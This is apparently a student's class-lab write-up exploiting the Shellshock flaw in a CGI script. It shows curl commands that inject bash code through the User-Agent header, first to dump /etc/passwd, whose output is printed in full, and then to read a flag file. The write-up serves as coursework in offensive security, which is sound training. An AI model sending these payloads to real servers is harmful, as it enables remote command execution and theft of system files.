

Class Task – CGI-BIN

Hritesh Sonawane

First verified if it is vulnerable:

```
swordfish — swordfish@Hriteshs-MacBook-Pro — — zsh — 80x24
Last login: Tue Oct 1 12:49:22 on ttys017
swordfish@Hriteshs-MacBook-Pro:~$ curl -H 'User-Agent: () { :; }; echo; echo V
ulnerable: $(/bin/cat /etc/passwd)' http://35.209.254.29:36369/cgi-bin/stats

Vulnerable: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Content-type: text/html
```

Then searched for the flag (reverse shell was giving me issues as I've a new pc setup)

```
swordfish — swordfish@Hriteshs-MacBook-Pro — — zsh — 80x24
swordfish@Hriteshs-MacBook-Pro:~$ curl -H 'User-Agent: () { :; }; echo; echo V
ulnerable: $(/bin/cat /opt/flag.txt)' http://35.209.254.29:36369/cgi-bin/stats

Vulnerable: CY6120{sh311_sh0cked_6ce1ez47}
Content-type: text/html

<pre>
Tue Oct 1 17:01:31 UTC 2024
17:01:31 up 3 days, 17:35, 0 users, load average: 0.08, 0.04, 0.01
</pre>
swordfish@Hriteshs-MacBook-Pro:~$
```

-- Thank you!